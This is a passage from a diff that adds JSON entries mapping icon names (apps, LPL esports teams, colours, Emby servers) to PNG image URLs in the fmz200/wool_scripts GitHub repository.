"https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lige47/bilibili(2).png" + }, + { + "name": "bilibili(3)", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lige47/bilibili(3).png" + }, + { + "name": "bilibili(4)", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lige47/bilibili(4).png" + }, + { + "name": "apple", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lige47/apple.png" + }, + { + "name": "apple(1)", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lige47/apple(1).png" + }, + { + "name": "speedtest", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lige47/speedtest.png" + }, + { + "name": "google", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lige47/google.png" + }, + { + "name": "google(1)", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lige47/google(1).png" + }, + { + "name": "paypal", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lige47/paypal.png" + }, + { + "name": "paypal(1)", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lige47/paypal(1).png" + }, + { + "name": "social-paypal", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lige47/social-paypal.png" + }, + { + "name": "direct", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lige47/direct.png" + }, + { + "name": "direct(1)", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lige47/direct(1).png" + }, + { + "name": "blacklist", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lige47/blacklist.png" + }, + { + "name": "blacklist(1)", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lige47/blacklist(1).png" + }, + { + "name": "weibo", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lige47/weibo.png" + }, + { + "name": "weibo_01.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lige47/weibo_01.png" + }, + { + "name": "Googlevoice", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lige47/Googlevoice.png" + }, + { + "name": "Googlevoice(black1)", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lige47/Googlevoice(black1).png" + }, + { + "name": "facebook", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lige47/facebook.png" + }, + { + "name": "facebook(1).png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lige47/facebook(1).png" + }, + { + "name": "facebook(2).png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lige47/facebook(2).png" + }, + { + "name": "quanqiu", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lige47/quanqiu.png" + }, + { + "name": "quanqiu(1).png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lige47/quanqiu(1).png" + }, + { + "name": "quanqiu(2).png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lige47/quanqiu(2).png" + }, + { + "name": "quanqiu(3).png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lige47/quanqiu(3).png" + }, + { + "name": "ad", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lige47/ad.png" + }, + { + "name": "ad(2)", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lige47/ad(2).png" + }, + { + "name": "ad(3)", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lige47/ad(3).png" + }, + { + "name": "ad(4)", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lige47/ad(4).png" + }, + { + "name": "ad(5)", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lige47/ad(5).png" + }, + { + "name": "ad(6)", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lige47/ad(6).png" + }, + { + "name": "ad(7)", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lige47/ad(7).png" + }, + { + "name": "instagram", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lige47/instagram.png" + }, + { + "name": "instagram(1)", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lige47/instagram(1).png" + }, + { + "name": "instagram(2)", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lige47/instagram(2).png" + }, + { + "name": "lightning", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lige47/lightning.png" + }, + { + "name": "lightning(1)", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lige47/lightning(1).png" + }, + { + "name": "lightning(2)", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lige47/lightning(2).png" + }, + { + "name": "bing", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lige47/bing.png" + }, + { + "name": "bing(1)", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lige47/bing(1).png" + }, + { + "name": "bing(2)", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lige47/bing(2).png" + }, + { + "name": "bing(3)", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lige47/bing(3).png" + }, + { + "name": "whatsapp", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lige47/whatsapp.png" + }, + { + "name": "whatsapp", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lige47/whatsapp_01.png" + }, + { + "name": "whatsapp(2)", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lige47/whatsapp(2).png" + }, + { + "name": "game", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lige47/game.png" + }, + { + "name": "game(1)", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lige47/game(1).png" + }, + { + "name": "steam", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lige47/steam.png" + }, + { + "name": "steam(1)", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lige47/steam(1).png" + }, + { + "name": "rocket", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lige47/rocket.png" + }, + { + "name": "rocket(1)", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lige47/rocket(1).png" + }, + { + "name": "rocket(2)", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lige47/rocket(2).png" + }, + { + "name": "rocket(3)", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lige47/rocket(3).png" + }, + { + "name": "mail", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lige47/mail.png" + }, + { + "name": "mail(1)", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lige47/mail(1).png" + }, + { + "name": "mail(2)", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lige47/mail(2).png" + }, + { + "name": "mail(3)", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lige47/mail(3).png" + }, + { + "name": "emby", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lige47/emby.png" + }, + { + "name": "emby(1)", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lige47/emby(1).png" + }, + { + "name": "ip", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lige47/ip.png" + }, + { + "name": "play", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lige47/play.png" + }, + { + "name": "play(1)", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lige47/play(1).png" + }, + { + "name": "play(2)", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lige47/play(2).png" + }, + { + "name": "EDG", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lpl/144px/EDG.png" + }, + { + "name": "TT", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lpl/144px/TT.png" + }, + { + "name": "UP", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lpl/144px/UP.png" + }, + { + "name": "OMG", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lpl/144px/OMG.png" + }, + { + "name": "LGD", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lpl/144px/LGD.png" + }, + { + "name": "RA", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lpl/144px/RA.png" + }, + { + "name": "IG", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lpl/144px/IG.png" + }, + { + "name": "RNG", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lpl/144px/RNG.png" + }, + { + "name": "JDG", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lpl/144px/JDG.png" + }, + { + "name": "FPX", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lpl/144px/FPX.png" + }, + { + "name": "AL", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lpl/144px/AL.png" + }, + { + "name": "BLG", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lpl/144px/BLG.png" + }, + { + "name": "TES", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lpl/144px/TES.png" + }, + { + "name": "WBG", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lpl/144px/WBG.png" + }, + { + "name": "WE", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lpl/144px/WE.png" + }, + { + "name": "V5", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lpl/144px/V5.png" + }, + { + "name": "LNG", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/lpl/144px/LNG.png" + }, + { + "name": "144", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/texon/144.png" + }, + { + "name": "CadetBlue", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/texon/CadetBlue.png" + }, + { + "name": "Crimson", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/texon/Crimson.png" + }, + { + "name": "Crocodile_with_glasses", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/texon/Crocodile_with_glasses.png" + }, + { + "name": "DarkGoldenRod", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/texon/DarkGoldenRod.png" + }, + { + "name": "DarkOliveGreen", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/texon/DarkOliveGreen.png" + }, + { + "name": "DarkSlateBlue", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/texon/DarkSlateBlue.png" + }, + { + "name": "Gainsboro", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/texon/Gainsboro.png" + }, + { + "name": "PaleVioletRed", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/texon/PaleVioletRed.png" + }, + { + "name": "SlateGray", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/texon/SlateGray.png" + }, + { + "name": "Tomato", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/texon/Tomato.png" + }, + { + "name": "black_Crocodile", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/texon/black_Crocodile.png" + }, + { + "name": "black_dinosaur", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/texon/black_dinosaur.png" + }, + { + "name": "texontv", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/texon/texontv.png" + }, + { + "name": "1111", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/1111.png" + }, + { + "name": "11Pshare", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/11Pshare.png" + }, + { + "name": "2020", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/2020.png" + }, + { + "name": "23Studio", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/23Studio.png" + }, + { + "name": "404", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/404.png" + }, + { + "name": "ALiYun", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/ALiYun.png" + }, + { + "name": "AcEmby", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/AcEmby.png" + }, + { + "name": "AcEmby1", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/AcEmby1.png" + }, + { + "name": "Acg", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/Acg.png" + }, + { + "name": "Acg1", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/Acg1.png" + }, + { + "name": "Alist", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/Alist.png" + }, + { + "name": "AnimeHome", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/AnimeHome.png" + }, + { + "name": "Atvii", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/Atvii.png" + }, + { + "name": "BaiDuYun", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/BaiDuYun.png" + }, + { + "name": "BaiPiaoWang", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/BaiPiaoWang.png" + }, + { + "name": "Bdd", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/Bdd.png" + }, + { + "name": "Bdd1", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/Bdd1.png" + }, + { + "name": "BestEmby", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/BestEmby.png" + }, + { + "name": "BestEmby1", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/BestEmby1.png" + }, + { + "name": "Bigbus", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/Bigbus.png" + }, + { + "name": "BlueSea", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/BlueSea.png" + }, + { + "name": "BlueSeaEmby", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/BlueSeaEmby.png" + }, + { + "name": "BoYinYuan", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/BoYinYuan.png" + }, + { + "name": "BuGeiKan", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/BuGeiKan.png" + }, + { + "name": "Captain-z", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/Captain-z.png" + }, + { + "name": "Captain-z1", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/Captain-z1.png" + }, + { + "name": "CatFish", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/CatFish.png" + }, + { + "name": "CatFish1", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/CatFish1.png" + }, + { + "name": "CcEmby", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/CcEmby.png" + }, + { + "name": "CharonTV", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/CharonTV.png" + }, + { + "name": "Cola", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/Cola.png" + }, + { + "name": "CrossGreatWall", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/CrossGreatWall.png" + }, + { + "name": "Csn", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/Csn.png" + }, + { + "name": "Csn1", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/Csn1.png" + }, + { + "name": "Csn2", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/Csn2.png" + }, + { + "name": "CurlyMouse", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/CurlyMouse.png" + }, + { + "name": "CurlyMouse1", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/CurlyMouse1.png" + }, + { + "name": "DaHangHai", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/DaHangHai.png" + }, + { + "name": "Des", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/Des.png" + }, + { + "name": "Des1", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/Des1.png" + }, + { + "name": "Didiemby", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/Didiemby.png" + }, + { + "name": "Dv", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/Dv.png" + }, + { + "name": "DxzEmby", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/DxzEmby.png" + }, + { + "name": "ElevenPlus", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/ElevenPlus.png" + }, + { + "name": "Emby", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/Emby.png" + }, + { + "name": "Emby1", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/Emby1.png" + }, + { + "name": "EmbyClub", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/EmbyClub.png" + }, + { + "name": "EmbyClub1", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/EmbyClub1.png" + }, + { + "name": "EmbyHub", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/EmbyHub.png" + }, + { + "name": "EmbyHub1", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/EmbyHub1.png" + }, + { + "name": "EmbyHub2", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/EmbyHub2.png" + }, + { + "name": "EmbyX", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/EmbyX.png" + }, + { + "name": "Fangyt", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/Fangyt.png" + }, + { + "name": "Flareix", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/Flareix.png" + }, + { + "name": "Foxcoo", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/Foxcoo.png" + }, + { + "name": "FreeEmby", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/FreeEmby.png" + }, + { + "name": "Froghub", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/Froghub.png" + }, + { + "name": "GfwEmby", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/GfwEmby.png" + }, + { + "name": "GoogleDrive", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/GoogleDrive.png" + }, + { + "name": "Han", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/Han.png" + }, + { + "name": "Haoji", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/Haoji.png" + }, + { + "name": "HeiShan", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/HeiShan.png" + }, + { + "name": "HentaiHome", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/HentaiHome.png" + }, + { + "name": "HongChen", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/HongChen.png" + }, + { + "name": "Hxd", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/Hxd.png" + }, + { + "name": "Hxd1", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/Hxd1.png" + }, + { + "name": "Ikoumi", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/Ikoumi.png" + }, + { + "name": "Infinity", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/Infinity.png" + }, + { + "name": "Infuse", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/Infuse.png" + }, + { + "name": "Jellyfin", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/Jellyfin.png" + }, + { + "name": "JieNiGui", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/JieNiGui.png" + }, + { + "name": "JieSen", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/JieSen.png" + }, + { + "name": "Jikongjian", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/Jikongjian.png" + }, + { + "name": "JuDog", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/JuDog.png" + }, + { + "name": "Jyctv", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/Jyctv.png" + }, + { + "name": "KaiLu", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/KaiLu.png" + }, + { + "name": "Kevin", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/Kevin.png" + }, + { + "name": "KshtEmby", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/KshtEmby.png" + }, + { + "name": "LiangShan", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/LiangShan.png" + }, + { + "name": "LiangShan1", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/LiangShan1.png" + }, + { + "name": "Lion", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/Lion.png" + }, + { + "name": "Loniper", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/Loniper.png" + }, + { + "name": "Lvlian", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/Lvlian.png" + }, + { + "name": "Magic", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/Magic.png" + }, + { + "name": "Magpie", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/Magpie.png" + }, + { + "name": "Maliao", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/Maliao.png" + }, + { + "name": "MengMeng", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/MengMeng.png" + }, + { + "name": "Midsummer", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/Midsummer.png" + }, + { + "name": "Mildnes", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/Mildnes.png" + }, + { + "name": "Mildnes1", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/Mildnes1.png" + }, + { + "name": "Mildnes2", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/Mildnes2.png" + }, + { + "name": "MisakaF", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/MisakaF.png" + }, + { + "name": "Misty+", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/Misty+.png" + }, + { + "name": "Misty", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/Misty.png" + }, + { + "name": "Mjj", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/Mjj.png" + }, + { + "name": "Moonlight", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/Moonlight.png" + }, + { + "name": "More", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/More.png" + }, + { + "name": "Mulgore", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/Mulgore.png" + }, + { + "name": "Music", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/Music.png" + }, + { + "name": "NakoNako", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/NakoNako.png" + }, + { + "name": "Nas", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/Nas.png" + }, + { + "name": "Nebula", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/Nebula.png" + }, + { + "name": "Nebula1", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/Nebula1.png" + }, + { + "name": "Nginx", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/Nginx.png" + }, + { + "name": "Nijigen", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/Nijigen.png" + }, + { + "name": "Nijigen1", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/Nijigen1.png" + }, + { + "name": "Ninja", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/Ninja.png" + }, + { + "name": "NmEmby", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/NmEmby.png" + }, + { + "name": "Nplayer", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/Nplayer.png" + }, + { + "name": "Nya", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/Nya.png" + }, + { + "name": "O9o", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/O9o.png" + }, + { + "name": "O9o1", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/O9o1.png" + }, + { + "name": "Odyssey", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/Odyssey.png" + }, + { + "name": "Ofuniverse", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/Ofuniverse.png" + }, + { + "name": "OneDrive", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/OneDrive.png" + }, + { + "name": "OnlyFans", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/OnlyFans.png" + }, + { + "name": "Orange", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/Orange.png" + }, + { + "name": "Orange1", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/Orange1.png" + }, + { + "name": "PaoChe", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/PaoChe.png" + }, + { + "name": "PaoChe1", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/PaoChe1.png" + }, + { + "name": "PaoLuLe", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/PaoLuLe.png" + }, + { + "name": "Paul", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/Paul.png" + }, + { + "name": "Peach", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/Peach.png" + }, + { + "name": "PikPak", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/PikPak.png" + }, + { + "name": "PinYun", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/PinYun.png" + }, + { + "name": "Plex", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/Plex.png" + }, + { + "name": "Plex1", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/Plex1.png" + }, + { + "name": "Plus", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/Plus.png" + }, + { + "name": "Plusemby", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/Plusemby.png" + }, + { + "name": "Polo", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/Polo.png" + }, + { + "name": "Polo1", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/Polo1.png" + }, + { + "name": "PornEmby", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/PornEmby.png" + }, + { + "name": "Prpr", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/Prpr.png" + }, + { + "name": "QqEmby", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/QqEmby.png" + }, + { + "name": "Qunhui", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/Qunhui.png" + }, + { + "name": "Sana", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/Sana.png" + }, + { + "name": "Sela", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/Sela.png" + }, + { + "name": "Seoul", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/Seoul.png" + }, + { + "name": "SeseEmby", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/softlyx/SeseEmby.png" + }, + { + "name": "SeseEmby1", + "url": 